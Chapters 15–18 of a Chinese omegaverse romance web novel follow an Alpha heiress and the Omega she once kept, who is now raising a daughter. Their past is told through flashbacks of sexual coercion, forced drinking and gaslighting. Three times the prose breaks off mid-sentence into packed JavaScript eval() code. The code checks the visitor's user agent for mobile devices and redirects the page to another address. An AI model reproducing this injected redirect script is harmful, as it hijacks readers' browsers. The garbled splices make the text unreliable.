至于那个没露脸的Aplha,舒清柚都没提过,哼,八成不是什么好东西。 林絮安心地陪舒绒看起动画片。 正好林絮看到昏昏欲睡,饭菜上桌,食物的香味挑起林絮食欲,肚子也快饿瘪了。 她捞起舒绒,放在宝宝椅上,主动拿着空碗筷子。 还有点不自在,她低头盛饭,摆好筷子。 两人各忙各的,等舒清柚收拾好料理台,林絮咳了声:“我原谅你了。” 毛巾擦拭着手上残留的水珠,尽管做了不少家务,得益于日常保养,手部肌肤依然嫩滑白皙。 舒清柚像没听见林絮的话,等待几秒。 微波炉叮了一声。 打开,从里面取出小碟子。 有一只圆圆的白馒头,热腾腾地刚出炉。 林絮:“......” 嘴巴张开,满头问号,她不打算接。 舒清柚清潭似的眸子此刻无比无辜:“是你说要吃馒头的。” 林絮无语凝噎,仿佛在说:你认真的? 穿着打底衫的舒清柚,身材姣好,该饱满的地方引人垂涎,头发挽起,温柔的没有丝毫攻击性。 厨房朝南,有零碎光线隔着树枝射入,舒清柚的眼眸似有浅光浮动。 要是学画画,她高低都得求舒清柚当模特,林絮再度心动。 算了,我是宽宏大量好女A,林絮败下阵。 明白伸手不打笑脸人这个理,她提起唇角,壮胆靠近舒清柚。 虚虚握住舒清柚细白手腕,她比舒清柚高一些,倾腰,垂下眼睑。 林絮发自内心婉转娇唤讨好。 “舒姐姐,我错了~” 尾音故意扯地漫长。 发散魅力而不自知,已经不止一次。 换做任意一个Omega,恐怕都会被林絮这副人畜无害的脸迷惑。 毕竟,顶级Alpha不管是信息素强度还是颜值,都是万里挑一。 舒清柚心下一惊,纤长羽睫如蝶轻颤。 后颈腺体隐约有种不妙的征兆,她强行保持镇定,放好碟子。 15. 第 15 章 舒清柚的脸上感到温热呼吸,后颈激起一层薄薄的痒意。 林絮没有发情,鼻尖围绕着沐浴乳洗后的薰衣草淡香,相较林絮的信息素,更让人放松。 可眼下,不知分寸用在林絮身上再适合不过,无视地点场合时间,小孩子还在一旁。 她们的姿势亲昵、暧昧。 林絮将舒清柚迫至流理台,腰际抵住石英台面,水龙头的水珠落了几滴,打在不锈钢槽,声音异常清晰。 尽管她未使用Alpha天然的威慑,但一触即发的危机度丝毫不降。 舒清柚偏过脸,几缕发丝从圈带垂落,遮掩持续升热的耳尖。 伸出食指,点在林絮的肩前。 “...有点近。” 她们用的是同款洗发水,林絮却能分辨出其中不同,靠近舒清柚,有种致人沉醉的甜香。 只需要再接近几公分,即可品尝...林絮的下腹抽了下。 “噢,对不起,我没注意。” 林絮回过神,不舍地退到原位。 她视线到处乱跑,感觉唇变得干涸。 拿起水杯咕噜几声全部喝光,杯子的玻璃面印出掌心的汗渍。 “其实,馒头也很好吃,舒姐姐。” 这回真的饿,她拿起馒头狠命咬了大口,囫囵吞下,还是无法排解饿意。 “请问我可以吃菜吗?舒姐姐。” 连唤两声舒姐姐,筷子已经快要碰到浓油酱赤的红肉,还明知故问。 舒清柚捻着指腹,从喉间漏出嗯字。 目睹全程的舒绒则是满脸忧愁。 她有可爱造型的儿童碗筷,平常都是妈妈喂她,这会她拿着练习筷一整个呆住。 不懂大人们在做什么,但妈妈又被欺负了。 出于难以发泄的情绪,她抓住筷子向前,生涩地戳着林絮碗里的米饭。 啃馒头的林絮:“???” “要我喂你吗?”林絮邀功似的,一把按住舒绒作乱的胳膊,嗓音清亮。 “舒姐姐,以后都让我来喂她吧!” 舒清柚不在意这细节,其实舒绒早就可以独立吃饭,但就是过度依赖母亲。 有时候她会担心舒绒去上幼儿园,能不能适应满是陌生人的环境。 “可以。” 林絮低头,阴恻恻地提醒舒绒:“我最讨厌别人动我的东西。” 言毕,舒绒嘴巴张大,猝不及防地,被塞了满口米饭。 舒绒含泪咀嚼,惊恐地想林絮真是个超级坏姐姐。 一顿饭吃下来,三个人心里都装了事情,林絮勤快许多,抢着整理桌子,洗碗,精力用不完似的,拿起吸尘器一通打扫。 她擦拭额头的汗,脸透着红,发现通往二楼的门是锁住的,从下往上看,铜锁看起来挺新的。 “舒姐姐,上面有什么不能见人的东西吗?” 舒清柚正在茶几前教舒绒识字,她手指在空中滞了下,很快落在拼音上。 头也不抬,淡声道:“没什么重要的。” “你脸还没好,把药吃了。” 有种吃闭门羹的感觉,林絮无精打采地干好活,抽空吞了颗抗过敏药。 药效来的快,而且有点奇怪,让她昏昏欲睡,林絮打着哈欠,晃悠到房间门口。 “舒姐姐,我好困,去休息了。” 舒清柚扫了眼家里地板,林絮的确在用心清理,但更像是在献殷勤。 直到傍晚时分,夕光漫霞,客房门依旧紧闭,舒清柚把书放下,距林絮睡下,时钟已经走过四个小时。 林絮睡眠一直很浅,也没有午睡习惯,舒清柚心里突生不妙的预感。 叩响门板。 她在门口驻足片刻,里头没有动静,唤了声林絮的名字,毫无回馈。 素手搭在门把上,顺时针一转。 门没有锁,屋内窗帘拉进,像是夜晚入侵。 床上鼓起影影绰绰的小山包。 “还在睡?” 舒清柚问了一句,走近,拧开台灯,能见度提高不少。 不正常,舒清柚轻松撩开被子一角。 林絮腿长,这会却双腿蜷缩,手扣在胸前,以一种在子宫羊水的形态重重喘息。 纯色棉质睡衣被汗水浸透,贴在后背。 她额间渗出不少细密的汗,嘴唇紧抿,脸像是在滚水里烫过一遍的红。 舒清柚眉心蹙了蹙。 掌心都还没碰到林絮,热度就已隔空附在指尖。 凑近还能听到林絮喉咙里发出不明字节的嘤咛。 “你发烧了。” 舒清柚找到退烧药,前几天刚服用过,就摆在床头。 她对林絮中午吃的抗过敏药内心存疑,没再耽搁,她坐在床边,扶起林絮的脑袋靠在她腿上。 温声哄着:“张嘴。” 恍惚间,林絮发烫的鼻息翕合,她晕乎乎地,一丝久违的橙香飘入。 怎么可能。 已经四年,那个女人还阴魂不散出现在她梦中,她紧皱眉头。 都多少次了,她无数次想要抵抗的信息素,包括柑橘类水果,前调与橙挂钩的香水。 为此,她只用调香师专门为她定制的香水。 倒不是触景生情,她只是单纯不愿意想起舒清柚。 五年前,最爱的母亲车祸死后,林絮从日常的不安,直至患上严重强迫症,她深知这一切的源头,却无能为力。 但她不能终日堕落萎靡。 林氏家族庞大,根系错综复杂,她清楚自己股份和投票权被不少亲戚觊觎。 在极为混乱的精神状态下,她继承了母亲的股份及信托,19岁的林絮渴望得到决策权,然而她并不具备让董事信服的强权实力。 好在林絮母亲一直是林老太最看重的大女儿,林絮因此也被老太当作继承人看待, 林老太以一己之力排除众异,为林絮保驾护航,笼络关键董事和股东,给予董事更多的分红,防止她们倒戈。 纵使一切看似顺风顺水,林絮精神却每况愈下。 没有任何人知道,白天的她会挂上轻松自信的面具,谈判巧舌如簧,侃侃而谈,尽可能展现上位者的掌控力。 可她年纪轻轻染上酗酒的毛病,晚上必须把自己灌醉才能睡着。 包养舒清柚,仿佛一切都得到宣泄,抱着报复的心态提出包养,就算她有未婚妻又如何。 反正圈子里面哪个人不包养Omega。 初见舒清柚,是在她家破产不久,双手托着麂皮保护的梅瓶,往卡车上送。 卡车上堆放不少手工陶瓷,还有几台大型机器,林絮猜想也许是统一出售。 司机不断在催促她快点,神情不耐烦,眼睛却盯着舒清柚腰胸优美的曲线。 舒清柚那时穿的像大学刚毕业,基本款白衬衫,卷边牛仔裤,扎着低马尾,整体风格简单。 隔着人行道的距离,林絮勉强看清她的侧脸,流畅的下颌角,发丝不断擦拂瓷白脸庞,大约因为着急,无暇顾及形象。 想必她也很长一段时间没睡好了。 林絮时不时打量她,看她搬上搬下,林絮闲适地倚在车内抽烟。 燃烧的烟雾持续不断从名贵低调的黑车内溢出。 天色渐暗,唯独她指尖的金色滤嘴,残余猩亮光点。 已抽了大半包苏伯莱,林絮手腕轻摆,露出银灰色机械手表,表盘蓝钢指针走了一圈。 其实也没什么好看的,却不知不觉度过一个小时。 那辆卡车轰隆隆地开走了,舒清柚过了会从工作室现身,她蹲在门口,和几株长势良好的多肉打交道。 林絮不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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呵,林絮很快明白,怎么可能? 她迅速攥住舒清柚的手腕,药片因腕部脱力掉在床上。 “林絮?” 舒清柚愣神片刻,心跳有些加快。 还没问出下一句,她就被林絮拽进怀中。 力气之大,这几天都不曾有过。 林絮反过身,迅速扣住舒清柚的双手,喘/息失调,脸色通红。 震惊之余,舒清柚双肩猛地被按压,后脑勺撞到枕头,带来轻微的震痛。 她不禁发出短暂的惊呼。 “疼...” 挽好的头发如瀑般铺散开来,与白腻的肌肤形成强烈视觉对比。 林絮眼眸发红,橙香不断调动脑内神经。 “疼?” 林絮咕哝着重复,欺身,长卷发垂在舒清柚颈间,发丝绕在一处。 反正这只是梦境,想做什么未尝不可。 怎么这般真实,就连光滑触感,也如她办公室里的那套茶盏一样。 那些早该扔掉的没用物件,却留下来徒增烦恼。 舒清柚离开后,林絮的强迫症演变成洁癖。 不允许任何人碰她,陪未婚妻出席宴会,也不准她有肢/体接触。 梦里的舒清柚干干净净。 撕开抑制贴,花香蔓延开来,林絮深吸口气,阖眼。 舒清柚瞳孔骤缩,不可置信。 与此同时,不受控制地发热,呼吸逐渐加重。 她吃力地缓过神,极力忍耐不由自主的反应,沉声:“你恢复了?” 一发不可收拾的信息素染上浓烈的yu,就像暴雨击碎风平浪静湖面。 “恢复...” 林絮俯视着,危险地眯眼。 “什么意思?” 16. 第 16 章 林絮惊疑舒清柚被她压在身下,怎么还能保持镇定微笑。 换作以往,舒清柚在发现无法挣脱开,也就认命。 林絮做到兴头,还能坏心眼地延迟到的时间。 双指不动,饶有兴致地同舒清柚水雾秀靡的星眸对视。 做出两人心知肚明的示意。 “求我。” 林絮不习惯爆粗口,在做的时候,惯会蹦出各种下三路的词。 她们只要凑在一块,信息素的指标很容易就能达到让人头晕目眩的地步。 舒清柚天生淡颜系,清癯绝俗的面容,房事中,脸红到像洒涂脂粉,吹弹可破。 她出乎意料地能忍,而林絮一直咄咄逼人。 舒清柚只咬住手背,直至破皮,出血,也不去与林絮对视,更遑论摇尾乞怜。 往往,林絮并不知足,沾满信息素的手强硬掰过舒清柚削尖的下颌。 “你也不看看自己糟糕成什么样,说来可笑,我那些朋友,就没有求金丝雀的。” 她很喜欢看舒清柚绰约妩媚的面容,喜欢舒清柚暴露失控的一面。 喜欢用强的。 除却身体,兼具了心理上的快/wei。 想触摸舒清柚的底线,但她无动于衷的态度让林絮觉得在和棉花做无用功。 此时舒清柚就这般坦然自若,面无惧色。 “起来。” 舒清柚的微笑没有到达眼底,林絮本已经有点分不清东南西北,她迷离恍惚地俯首,屏住呼吸。 “你是谁?” 她多留神了几秒,心中不快,摇头呢喃。 “舒清柚才不敢拒绝我,欲拒还迎差不多,你不是她。” 气息奄奄,林絮滚烫的脸就快和舒清柚贴上。 舒清柚试图动弹被她按住的臂腕,林絮的十指却像铁钳一般牢牢扣住她。 舒清柚忍住泛滥的yu/望,一字一顿强调。 “松手,真的很疼。” 林絮哪懂怜香惜玉,在舒清柚面前褪下伪装,没半点风度,犹如饿虎扑食。 倘若是失忆的林絮,还有点可爱女生的雏形,如今又像只发情的动物,听不进去任何,全凭本能行事。 令人生厌。 林絮摩着标记牙,酸酸痒痒地,“你忤逆我?舒清柚,搞清楚你的身份。” 警觉地知晓林絮的意图,当她在磨牙,大概率舒清柚又要被标记。 舒清柚顺着她,把几年都没说出口的话问出:“行,聊身份,我洗耳恭听,我们是什么关系?” 林絮愣住一瞬,手上力道卸了半分,在林絮印象里,舒清柚寡言少语,从不据理力争。 记得有一次林絮凌晨给舒清柚电话,让她去夜总会包厢。 五光十色的场地狼藉不堪,烟酒莺莺燕燕不断,包厢充斥着污秽不堪的言语。 林絮清楚舒清柚没来过这种场合,也不曾尝试烈酒。 舒清柚身穿一袭小清新白裙,长发乖顺披在脑后,像是刚从艺术展里出来的画中人,清隽脱俗。 和林絮她们简直不是一个世界的。 醉醺醺的朋友顶着凌乱的鸡窝头,打趣道:“林总包养的Omega这么纯?” 林絮自觉那时和舒清柚的关系也就只剩下包养,她睨了她一眼,旁边的陪酒Omega妖娆地贴着林絮手臂。 “装的,她床上很浪。” “嘿嘿,说说看。” 几个朋友都按耐不住,拿油腻的眼神不停瞥向舒清柚。 “嗯,花样很多。” 林絮厌恶解释,自行将酒杯蓄满清澈的烈酒,嘴里还无赖地叼着烟。 她掐烟起身,明灭灯光打在两人身上,舒清柚鸦睫低垂,在眼睑洒下一小圈阴影。 穿着高跟鞋的Alpha威压感足以让其他的Alpha跪地求饶。 舒清柚必须仰起下巴才能看清林絮嫌弃的表情。 林絮凝住她雪肤幽婉的容颜,沉静的眸子闪烁微弱的光,像无形的手,一点,一点,攥紧了她的心脏。 她不得不深深地呼气,摆脱就此带舒清柚回家的念想。 只让她一人观赏,再狠狠占有... 却又难以控制摧毁舒清柚的念头。 何况,她讨厌舒清柚,从未见到舒清柚开始,光知晓这个名字,她就在心底种下报复的种子。 很可惜,姓舒的这家,人丁稀薄,也就三个人,舒清柚两姐妹,再加上微不足道垂垂老矣的八旬老人。 亲戚都是十八竿子也打不着的,林絮那一颗还没长成幼苗的种子,连仇恨的土壤都不够充裕。 她总不能把这三口人通通杀掉解恨吧。 “喝光。”林絮嘴角噙笑,“一口气哦。” 舒清柚的目光在玻璃杯中晃动的酒液和林絮脸上来回一次,果断握住杯子,指尖和林絮的肌肤相触。 “放手。” 一如既往地凉,林絮冷笑,“别急,我的意思是,还有这一整瓶呢。” 众人听到这,不得不看这场热闹了,开始相互起哄。 “喝!喝!喝!” 舒清柚只尝试过一次酒,还是个位数度数的,不料半杯下肚,皮肤就开始瘙痒。 她在网上查过,酒精过敏,轻则皮肤发红瘙痒,重则呕吐,乃至送进医院。 林絮是知道的,故意为之,要在此刁难她。 手上重量一空,林絮恍惚一瞬,再次聚焦瞳孔,舒清柚早就喝掉小杯的,从她身旁绕过。 在众人不可思议的惊叹中,舒清柚举起750毫升刚开盖的伏特加,闷头灌进喉咙。 林絮转过身,这酒50度,辛辣刺激,后劲很强,随着瓶子慢慢见底,舒清柚的嘴角渗出部分液体。 她的手指很用力握住瓶身,青筋毕露,肌肤呈现的是血液迅速流通的酡红,脸也泛上瑰丽的艳色。 本来还在起哄的众人顿时鸦雀无声,只有射灯发出滋滋声响。 不知过了多久,舒清柚粗重地喘气,唇瓣光鲜水润。 她很有礼貌放下空瓶,在林絮沉默不语中,勉力维持站立身形,和她四目对视。 林絮嘴唇翕合,掌心指尖陷进肉里,刺疼感开始变得麻木。 半晌,她从喉里挤出零碎的话语。 “嗯,还可以。” 朋友们张大嘴,眼睛满是不可思议:“靠,林总,你这Oemga表面弱不禁风,实际上不得了啊!” “林总,我们再来几瓶给她,继续让我们大开眼界!” 林絮早在舒清柚拿起酒瓶开始救烦躁不已,舒清柚穿的是无袖白裙,此刻肩膀,手臂,开始冒出星星点点的红疹。 但这人就是一声不吭,抿紧唇瓣,似屏蔽掉了周围嘈杂声。 林絮觉得胸腔里面在酝酿一大团乌云,沉闷地压住了她,淅淅沥沥的雨就是不下来。 一时间,林絮恼怒不已,无名火起。 她攥起舒清柚的胳膊往外头拖去,动作粗暴急躁。 舒清柚她逞什么能啊!就那样气定神闲和她对峙,很拽吗?! 都快站不住了,还硬撑,装给谁看啊! 还有,她脑残吧,明知道可能会死还不拒绝她! 林絮在许多个夜晚反复自我麻痹,都是舒清柚活该,就算舒清柚再惨也是她活该,这是要还的债。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325880|167612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>都怪舒清柚她妈,在清醒状态下撞死她的母亲,而且因为对方妈妈逃逸又出车祸,赔偿只需保险公司赔付。 但母债子还,天经地义。 林絮回忆起这些,不仅更加晕乎,太阳穴还伴随剧烈的疼痛。 她总算放开舒清柚,焦躁地锤着脑袋,“你和我能有什么关系,还想给自己脸上贴金啊!” 老话说,酒后吐真言,舒清柚认为有一定道理,林絮目前和醉酒没两样,所幸她腺体本就不正常。 花香信息素浓度有所下降。 舒清柚体内躁动灼热的因子不再那么活跃。 只是被林絮顶住的地方,难以忽视。 过电的感觉,她咬了下唇,要多买一些内裤... 四年时间,还是这样敏感。 趁着林絮抱头痛苦呜咽,舒清柚挪动腿部。 “嗯,没有关系这点正合我意。” 她厌倦和林絮有牵扯,已经深刻体会到接近林絮,就会变得不幸这一点。 粘腻感在两人肌肤间滑过,舒清柚费了一些劲起身。 也不打算喂林絮吃药,但不能放任林絮死在她家里。 舒清柚将衣物皱褶抚平,林絮像一滩烂泥瘫在被褥上。 浅色被单,有一块深色的水渍,撞进她的眼睛,而林絮的脸贴在那边。 舒清柚有点无言以对,她记得林絮挺爱干净的一人,到底经历了什么才会变得人不像人鬼不像鬼呢? 罢了,与她有何关系,舒清柚扔下一句:“记得吃药,吃完药就走吧。” 舒清柚放心转身,林絮察觉到巨大的空虚,她哭闹着,狼狈抱住舒清柚纤细的腰身。 “别走,别走,不准走!” 啜泣声不停,还有加重的势头,舒清柚感到腰部传来阵阵刺痛。 垂首,舒清柚哭笑不得,林絮不仅紧紧环住她,还拿牙齿有一下没一下咬她的腰腹。 林絮是狗吗? 舒清柚被她钉在了原地,好声好气:“懂事点,好吗?” “已经四年了,我们都体面点。” 林絮把脑袋埋在舒清柚的衣裙间,搞得湿漉漉,不正面回应舒清柚,嗅着舒清柚的气味,她觉得很舒服。 头也不疼,除了还是发热。 舒清柚让她抱了会,谁都没说话。 台灯昏黄,斜斜地照在林絮耷拉的脑袋上,毛发毛绒绒的,真像被遗弃的动物。 林絮的睡衣被搞得乱七八糟,不愿放手。 搞不懂林絮,舒清柚这几年很少有这种失去平衡的无力感。 她也不再有精力试图了解林絮,无论无何,也不能一直被她这样绑住吧。 舒清柚妥协道:“你现在不清醒,等你退烧,我们再谈。” 巴不得整个头都钻到舒清柚怀里,闷闷道:“真的?” “说话算数,清楚地谈一场。” 被咬的生疼的地方,后劲更钝痛了,舒清柚不看也知道,肯定被她咬青了,无奈,林絮怎么多了个咬人的爱好。 舒清柚拿起手边的一板退烧药,挤出一颗捻在指间。 “乖乖吃药。” “好。” 林絮懵懂地把药塞到舌苔上,咀嚼两下,脸登时皱成苦瓜。 舒清柚连忙用白开水喂入她嘴中,拍着她的背脊,安抚着,免得她又发神经。 好像忘了什么重要的事情,林絮迷茫地咕噜噜喝完水,跌回床上,不想了,她抱着被子安心睡去。 这人倒是越来越心大,说睡就秒睡。 腰上软肉现在还在作痛,舒清柚揉了两下,在心底叹气。 希望林絮醒来后别再咬她。 17. 第 17 章 华灯初上,暴雨瓢泼,一辆劳斯莱斯幻影有条不紊行驶在鳞次栉比的高楼间隙。 林絮偏头倚在皮椅当中,看车窗外雨水汇成珠线从顶部滑落。 她一言不发,目光飘忽看着打伞川流不息的人群,脸上反射着割裂的霓虹光影。 “林絮,我家里催促我们明年结婚,你怎么和林老太说的?” 顾怀愿斟了杯红酒,随意晃动,酒液映出她明丽的妆容。 她一袭高定天鹅绒绿鱼尾裙,和林絮今晚的穿着相得益彰。 宴会逢场作戏总算告一段落。 酒会未散场,顾怀愿就迫不及待找借口脱身,两人对彼此避之不及,一人一座椅,互不干涉。 林絮倦怠地回身,顾怀愿左手中指套着高昂扎眼的钻戒,和她是情侣款。 空气中充斥着辨识度很高的葡萄柚香水,清爽地像夏天来到冰天雪地。 她懒懒地从移动酒柜上拿了个空酒杯,倒上些许马提尼,“我?没回绝。” 听到林絮的回答,顾怀愿惊讶不已,还有另一种不满,被林絮欺骗的不悦。 “那你之前放屁呢,还说要找个机会讲明我们不合适,闹一闹,信誓旦旦老太宠你,可以自由选择结婚对象。” “我改主意了,不行吗?” 顾怀愿感觉自己小丑似的,这算什么?凭什么林絮说一就是一。 “你有毛病吧,把我当猴耍,你没人疼没人爱,逼我和你结婚,然后天天面对你这冰块脸,要冻死谁啊。” 林絮耸耸肩,把她的攻击全盘收下。 “反正冻不死你。” 她俩算得上青梅,从小玩在一块,顾怀愿深知林絮脾气向来狂妄自大,自从她妈死后,不得不接手家业,更不近人情了。 “你这臭脾气,对方要能受的了,九成九都是图你的钱。” 林絮懒洋洋地掀起眼睑,不屑和顾怀愿耍嘴皮子,她脑海里闪过一抹倩影,嗤了声。 顾怀愿忽然想起林絮包养的Omega,调笑着。 “什么时候带我见见,你的小金丝雀,难不成你真想把人藏到天荒地老?” 林絮躲开顾怀愿伸过来的手肘,“你管太多了。” 顾怀愿摸了下钻戒,颇感无趣,林絮也没那么在意小情人嘛,她放下好奇心。 “行,那你说,我们结婚的事情,你怎么打算?” “大不了拟一份婚前协议。” 林絮还没想到缓兵之计,她不能违背林老太的意愿,对林絮而言,林老太首先是生意人,其次才是祖母亲人。 林老太只手建立一个王朝,她要的是每笔投资都花在刀锋上,只准向上,如果下,也得有理有据,用数据说话。 当然再清楚不过林絮在外私人行径。 她告诉林絮联姻是场公平交易,夸赞林絮出类拔萃,并对大女儿的车祸表达悲痛欲绝。 当天清晨,林絮宿醉刚醒,管家在门口等候,摇铃,指明老太要见她。 林絮升起不妙的预感,一早的好心情扫荡一空。 来到诺大的房间,苍老布满皱褶的老人躺在床上,手背埋针,点滴慢慢落下。 老太平静地阐述病情进展,交待董事会必然颠覆,以及哪几个股东亲戚对林絮心怀怨愤。 关键时刻,权力责任要尽快交接给林絮。 老太允诺林絮,林氏在将来是她的世界,要为她选一位世家联姻的妻子,而平庸的,背景与她天壤之别的Omega,始终见不得光。 林絮没说什么。 只觉有只虫子爬进口腔,先是不适,然后虫子爬行掉落,堵在喉咙,发出的悲鸣震地耳膜鼓涨。 强行忍住恶心感。 须臾,身体猛地摔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325881|167612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进深水湍流,液体灌进鼻腔,冲刷大脑,她咕噜噜地吐出一串泡泡。 不难受,周身凉爽,些许斑斓色彩从上方穿过流水,模糊了她的双眼,林絮闭上眼。 客房窗帘拉实了,林絮翻个身,朦胧地想着不该吃昨晚那药,她做了场好长的梦,梦里有舒姐姐,其余的,不甚清晰。 她夹紧被子,打算继续埋在暖和被窝里,真舒服,还没享受多久,咚咚敲门声将她唤醒。 林絮皱了皱眉,谁大早上的来敲门。 脑袋往枕头下塞,权当作没听见。 敲门声犹疑地停住,过了几秒,林絮听到远离的脚步声。 她不是被吵醒还能睡着的类型,需要一点时间来缓冲,简而言之,有起床气。 十来分钟后,她伸起懒腰,嘤咛一声,半眯着眼尾带泪水的桃花眸,半跪在床拉开窗帘,阳光刺地她条件反射抬手挡住。 好一会才适应明亮的房间,揉揉眼睛,才发现客房后面就是院子。 树影摇动,转黄的银杏叶片在半空飞舞,落在底下人的肩膀发丝间。 她身穿敞开的黑色大衣,在林絮的方向只能看清舒清柚的长筒靴。 一头及腰长发被吹地些许凌乱,指尖燃着醒目的红点,白烟缕缕从身前飘散。 林絮扭开窗户的金属锁扣,朝外推开。 冷不丁地,寒风毫不留情灌进她单薄的睡衣,她被冻地打了个哆嗦。 舒清柚形如雪山青柏,清洌洌地挺立,夹烟的手指细润,隐约可见她腕上绕了圈红绳,林絮眼底划过怪异,这根红绳似曾相识。 鼻尖还能闻到燃烧的烟味,她一个低头,把被子裹在身上,包成一个只露出脑袋的大粽子。 她学着毛毛虫,往前挪动几分,这样可以刚好把下巴搁在窗台。 脆生生地喊道:“舒姐姐,早上好呀!” 18. 第 18 章 枝头跳腾的麻雀受到惊扰,扑簌几下叽喳飞往天际。 舒清柚保持原态,好半晌都没动静,画面仿佛定格在这个时刻。 林絮又打了个喷嚏,也许她的声音被风遮蔽,舒清柚没听见呢。 昨晚睡得颇为安心,朦胧中她好像抱过舒清柚。 软绵,香喷,像新鲜出炉的蛋糕小点心,格外美味。 要是每晚都能做春.梦,让她吃不饱都行。 肚子不给她面子,应景地咕咕叽叽瘪下去,林絮面部短暂扭曲着,哎呦叫着,馋了。 打脸来的如此之快,也不知道舒清柚是否给她准备了早饭,她换上外套,没头没脑一溜烟来到客厅。 舒绒很听话坐在毛毯,用勺子不紧不慢挖着蛋羹,妈妈说看电视吃饭会噎到肚子,她正在努力吃光食物。 饭桌上空空如也,桌面一尘不染,没有早饭存在的痕迹。 “绒绒,是不是我睡太晚,你妈不给我留吃的。” 不算特别迟,墙上钟表显示早上七点过一刻,舒绒是她专用小碗,一方面保持干净,另一方面,舒绒更钟情专属物品的感觉。 所以当林絮敲了两下桌面,舒绒不得不和讨厌的姐姐交流。 “你吃的完吗?” 林絮眼睛放在蛋羹漂浮的一层香油上,浅黄的蛋羹温热Q弹,和舒绒穿的灯芯绒小黄套头衣一个色号。 可爱的模样真像一只顺从的小奶兔。 舒绒抬起下巴,林絮眼底冒出她看不懂的精光,危机感逐渐在小小的心里聚拢。 吃不完的话,妈妈也不会给她放在小碗里呀。 为了防止意外,舒绒展开双臂环住食物,很用力地摇头。 林絮压下眉骨,冲舒绒一本正经严肃发言:“年纪轻轻爱护食,长大没人要的。” 至少舒清柚大方,她自我安慰,也没顾及舒绒听到这些,泪花都快挤出来。 那句没人要的,舒绒经不起刺激,眼泪啪嗒一下掉在碗里,和蛋羹汤混在一块,颜色没变化,但舒绒吃不下去了。 “怎么了怎么了?” 林絮被她惊到,瞳孔微微放大,匆忙从纸盒抽出纸巾,胡乱地在舒绒脸上抹去眼泪。 “我吓你的,姐姐不该贪图你的早饭,对不起嘛,你就算真的没人要,你妈妈也会要你的。” 不成想舒绒哭的更厉害,眼泪怎么都止不住。 林絮手忙脚乱也不知道到底哪做错了。 更让林絮想撞死在柱子上的是舒清柚回来了,推门声一响,林絮做贼心虚扭过头。 舒清柚刚抽完烟,身上裹挟着凉风和烟草气息,融合了她特有的甜香味,离得近时,林絮猛吸一口。 还是撞白嫩的豆腐吧,林絮视线飞快在对方胸脯上掠过,做错事一样,自觉跪着,膝盖下是柔软的垫子,倒也不费力。 舒清柚瞥了眼桌上揉成毛球的纸巾,还有女儿发红的小脸,啜泣地抓住饭碗,生怕被谁抢走。 不消说,罪魁祸首很自觉地低下‘犯罪’的头颅。 人真的会被气晕,从各种小事开始串联,舒清柚算是见识到这句话的威力。 林絮以前是用高傲不屑打击她,用流行的方式表达就是煤气灯效应,虽然林絮只是偶尔用于发泄而操纵她。 可仍旧让舒清柚陷入长久的自我怀疑中,失去部分自我,人格也就不再独立。 事实上,这是多数Alpha惯用的伎俩,来自A信息素的深度标记,再用打击诱骗言语击溃O的心理防线。 完全占有。 林絮比较怪异的地方,在于当她采用这套盛气凌人的态度,林絮自己也会受到感染,导致的结果是两人持续不断冷战。 最后林絮用性.事来解决矛盾,日积月累下来,舒清柚也趋于崩溃边缘。 舒清柚慢条斯理地帮女儿清洁完一切,抱在怀里哄了很久,舒绒总算得到清净,跑去玩玩具。 舒绒玩的投入,无暇周遭事物。 几分钟后,舒清柚拍拍沙发,将头发撩至耳后,单手支住下颌撑在大腿上。 这是让她不再跪的指示吧,林絮厚脸皮还不客气坐在舒清柚身旁,舒清柚却在她眼皮子底下,移到了距她最远的一处。 林絮撇了撇嘴。 下意思看向舒清柚的红绳,缠绕凝脂白玉般的手腕。 林絮心神不禁荡漾,舒清柚简单勾起嘴角,显出嘲讽之意,将红绳摘下,扔到茶几上,喜庆的红粗线软塌塌弯曲着。 这不是林絮送她的那根,红绳会褪色,何况有血有肉的人。 舒清柚一夜未眠,摆脱了林絮,思绪翻涌,算不上陈年旧事的过往一幕幕涌现。 最早认识林絮,她很妥帖的,会逗自己开心。 虽说是协议包养,林絮行事皆以情侣之名,同她携手游玩全国各地风景名胜,她曾担忧她们整日在一块是否会影响工作。 林絮从不敷衍,态度称得上三好Alpha女友,她与她十指交错,揉搓着滑嫩的指腹。 交换一个吻,那时林絮的吻细腻,几乎不沾情.欲,亲一下不够,四目相对,林絮眼眸潋滟,凑上前索要更多。 “我喜欢与你待着,如果你不想出门,我们也可以窝在家,看家庭影院,或者最新的主机,手柄我都准备好了。” 林絮温言软语,姿态放低,把自己埋在舒清柚颈间,在腺体处吐息不断。 那种无法抵御的情,热,每每引起舒清柚止不住的轻颤。 她和其她的Alpha都不一样。 舒清柚也就不再纠结林絮提出的是包养,而非建立恋爱的一种健康正常的关系。 和林絮恋爱,确切来讲,她单方面陷入情感沼泽,从浅表的试探,直至热枕剖心。 她们玩游戏时,作为晕3D玩家舒清柚,林絮依旧会为展现技术超然,点击地狱难度。 舒清柚在感情中选择了地狱难度。 而她花费几年的时间慢慢剥离掉惨痛的伤痕,她吃过不少药,甚至曾因短暂躯体化,无法再接触专业性工作。 